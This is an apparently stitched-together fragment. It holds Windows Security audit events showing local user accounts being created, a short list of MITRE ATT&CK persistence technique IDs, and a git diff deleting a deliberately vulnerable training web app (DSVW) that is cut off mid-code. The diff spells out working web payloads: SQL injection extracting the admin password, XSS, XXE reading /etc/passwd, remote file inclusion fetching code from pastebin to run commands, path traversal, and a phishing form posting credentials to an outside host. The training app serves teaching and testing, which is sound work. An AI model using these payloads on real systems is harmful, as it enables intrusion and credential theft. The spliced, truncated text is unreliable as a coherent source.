Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1011</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Amanda</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Amanda - adhd - - - 4720 - 4105 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:51.9806507Z'/><EventRecordID>4105</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jane</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1010</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jane</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jane - adhd - - - 4720 - 4099 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:51.9118129Z'/><EventRecordID>4099</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Albert</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1009</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Albert</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Albert - adhd - - - 4720 - 4093 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:51.8238114Z'/><EventRecordID>4093</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jason</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1008</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jason</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jason - adhd - - - 4720 - 4087 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:51.7457536Z'/><EventRecordID>4087</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Ralph</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1007</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Ralph</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Ralph - adhd - - - 4720 - 4081 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:51.6681927Z'/><EventRecordID>4081</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Sandra</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1006</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Sandra</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Sandra - adhd - - - 4720 - 4075 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:51.5844812Z'/><EventRecordID>4075</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jacqueline</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1005</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jacqueline</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jacqueline - adhd - - - 4720 - 4069 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:51.5028593Z'/><EventRecordID>4069</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Frances</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1004</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Frances</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Frances - adhd - - - 4720 - 4063 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:51.4215132Z'/><EventRecordID>4063</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Christian</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1003</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Christian</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Christian - adhd - - - 4720 - 4057 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:51.3167090Z'/><EventRecordID>4057</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Robert</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1002</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Robert</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Robert - adhd - - - - T1138 - Application Shimming - - - T1182 - AppCert DLLs - - - T1183 - Image File Execution Options - - - T1484 - Group Policy Modification - - diff --git a/dsvw.py b/dsvw.py deleted file mode 100644 index adba6135..00000000 --- a/dsvw.py +++ /dev/null @@ -1,98 +0,0 @@ -#!/usr/bin/env python -import html, http.client, http.server, io, json, os, pickle, random, re, socket, socketserver, sqlite3, string, sys, subprocess, time, traceback, urllib.parse, urllib.request, xml.etree.ElementTree # Python 3 required -try: - import lxml.etree -except ImportError: - print("[!] please install 'python-lxml' to (also) get access to XML vulnerabilities (e.g. '%s')\n" % ("apt-get install python-lxml" if os.name != "nt" else "https://pypi.python.org/pypi/lxml")) - -NAME, VERSION, GITHUB, AUTHOR, LICENSE = "Damn Small Vulnerable Web (DSVW) < 100 LoC (Lines of Code)", "0.2b", "https://github.com/stamparm/DSVW", "Miroslav Stampar (@stamparm)", "Unlicense (public domain)" -LISTEN_ADDRESS, LISTEN_PORT = "0.0.0.0", 65412 -HTML_PREFIX, HTML_POSTFIX = "\n\n\n\n%s\n\n\n\n" % html.escape(NAME), "
Powered by %s (v%s)
\n\n" % (GITHUB, re.search(r"\(([^)]+)", NAME).group(1), VERSION) -USERS_XML = """adminadminadmin7en8aiDoh!driccidianricci12345amasonanthonymasongandalfsvargassandravargasphest1945""" -CASES = (("Blind SQL Injection (boolean)", "?id=2", "/?id=2%20AND%20SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C1%2C1)%3D%277%27\" onclick=\"alert('checking if the first character for admin\\'s password is digit \\'7\\' (true in case of same result(s) as for \\'vulnerable\\')')", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#boolean-exploitation-technique"), ("Blind SQL Injection (time)", "?id=2", "/?id=(SELECT%20(CASE%20WHEN%20(SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C2%2C1)%3D%27e%27)%20THEN%20(LIKE(%27ABCDEFG%27%2CUPPER(HEX(RANDOMBLOB(300000000)))))%20ELSE%200%20END))\" onclick=\"alert('checking if the second character for admin\\'s password is letter \\'e\\' (true in case of delayed response)')", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#time-delay-exploitation-technique"), ("UNION SQL Injection", "?id=2", "/?id=2%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20NULL%2C%20(SELECT%20id%7C%7C%27%2C%27%7C%7Cusername%7C%7C%27%2C%27%7C%7Cpassword%20FROM%20users%20WHERE%20username%3D%27admin%27)", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#union-exploitation-technique"), ("Login Bypass", "/login?username=&password=", "/login?username=admin&password=%27%20OR%20%271%27%20LIKE%20%271", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#classic-sql-injection"), ("HTTP Parameter Pollution", "/login?username=&password=", "/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&password=*%2F%271", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution"), ("Cross Site Scripting (reflected)", "/?v=0.2", "/?v=0.2%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting"), ("Cross Site Scripting (stored)", "/?comment=\" onclick=\"document.location='/?comment='+prompt('please leave a comment'); return false", "/?comment=%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting"), ("Cross Site Scripting (DOM)", "/?#lang=en", "/?foobar#lang=en%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting"), ("Cross Site Scripting (JSONP)", "/users.json?callback=process\" onclick=\"var script=document.createElement('script');script.src='/users.json?callback=process';document.getElementsByTagName('head')[0].appendChild(script);return false", "/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess\" onclick=\"var script=document.createElement('script');script.src='/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess';document.getElementsByTagName('head')[0].appendChild(script);return false", "http://www.metaltoad.com/blog/using-jsonp-safely"), ("XML External Entity (local)", "/?xml=%3Croot%3E%3C%2Froot%3E", "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E" if os.name != "nt" else "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2FC%3A%2FWindows%2Fwin.ini%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection"), ("XML External Entity (remote)", "/?xml=%3Croot%3E%3C%2Froot%3E", "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22http%3A%2F%2Fpastebin.com%2Fraw.php%3Fi%3Dh1rvVnvx%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection"), ("Server Side Request Forgery", "/?path=", "/?path=http%3A%2F%2F127.0.0.1%3A631" if os.name != "nt" else "/?path=%5C%5C127.0.0.1%5CC%24%5CWindows%5Cwin.ini", "http://www.bishopfox.com/blog/2015/04/vulnerable-by-design-understanding-server-side-request-forgery/"), ("Blind XPath Injection (boolean)", "/?name=dian", "/?name=admin%27%20and%20substring(password%2Ftext()%2C3%2C1)%3D%27n\" onclick=\"alert('checking if the third character for admin\\'s password is letter \\'n\\' (true in case of found item)')", "https://owasp.org/www-community/attacks/XPATH_Injection"), ("Cross Site Request Forgery", "/?comment=", "/?v=%3Cimg%20src%3D%22%2F%3Fcomment%3D%253Cdiv%2520style%253D%2522color%253Ared%253B%2520font-weight%253A%2520bold%2522%253EI%2520quit%2520the%2520job%253C%252Fdiv%253E%22%3E\" onclick=\"alert('please visit \\'vulnerable\\' page to see what this click has caused')", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery"), ("Frame Injection (phishing)", "/?v=0.2", "/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flogin.html%22%20style%3D%22background-color%3Awhite%3Bz-index%3A10%3Btop%3A10%25%3Bleft%3A10%25%3Bposition%3Afixed%3Bborder-collapse%3Acollapse%3Bborder%3A1px%20solid%20%23a8a8a8%22%3E%3C%2Fiframe%3E", "http://www.gnucitizen.org/blog/frame-injection-fun/"), ("Frame Injection (content spoofing)", "/?v=0.2", "/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2F%22%20style%3D%22background-color%3Awhite%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20frameborder%3D%220%22%3E%3C%2Fiframe%3E", "http://www.gnucitizen.org/blog/frame-injection-fun/"), ("Clickjacking", None, "/?v=0.2%3Cdiv%20style%3D%22opacity%3A0%3Bfilter%3Aalpha(opacity%3D20)%3Bbackground-color%3A%23000%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20onclick%3D%22document.location%3D%27http%3A%2F%2Fdsvw.c1.biz%2F%27%22%3E%3C%2Fdiv%3E%3Cscript%3Ealert(%22click%20anywhere%20on%20page%22)%3B%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking"), ("Unvalidated Redirect", "/?redir=", "/?redir=http%3A%2F%2Fdsvw.c1.biz", "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html"), ("Arbitrary Code Execution", "/?domain=www.google.com", "/?domain=www.google.com%3B%20ifconfig" if os.name != "nt" else "/?domain=www.google.com%26%20ipconfig", "https://en.wikipedia.org/wiki/Arbitrary_code_execution"), ("Full Path Disclosure", "/?path=", "/?path=foobar", "https://owasp.org/www-community/attacks/Full_Path_Disclosure"), ("Source Code Disclosure", "/?path=", "/?path=dsvw.py", "https://www.imperva.com/resources/glossary?term=source_code_disclosure"), ("Path Traversal", "/?path=", "/?path=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd" if os.name != "nt" else "/?path=..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini", "https://www.owasp.org/index.php/Path_Traversal"), ("File Inclusion (remote)", "/?include=", "/?include=http%%3A%%2F%%2Fpastebin.com%%2Fraw.php%%3Fi%%3D6VyyNNhc&cmd=%s" % ("ifconfig" if os.name != "nt" else "ipconfig"), "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion"), ("HTTP Header Injection (phishing)", "/?charset=utf8", "/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Ctitle%3ELogin%3C%2Ftitle%3E%3C%2Fhead%3E%3Cbody%20style%3D%27font%3A%2012px%20monospace%27%3E%3Cform%20action%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.php%22%20onSubmit%3D%22alert(%27visit%20%5C%27http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.txt%5C%27%20to%20see%20your%20phished%20credentials%27)%22%3EUsername%3A%3Cbr%3E%3Cinput%20type%3D%22text%22%20name%3D%22username%22%3E%3Cbr%3EPassword%3A%3Cbr%3E%3Cinput%20type%3D%22password%22%20name%3D%22password%22%3E%3Cinput%20type%3D%22submit%22%20value%3D%22Login%22%3E%3C%2Fform%3E%3C%2Fbody%3E%3C%2Fhtml%3E", "https://www.rapid7.com/db/vulnerabilities/http-generic-script-header-injection"), ("Component with Known Vulnerability (pickle)", "/?object=%s" % urllib.parse.quote(pickle.dumps(dict((_.findtext("username"), (_.findtext("name"), _.findtext("surname"))) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user")))), 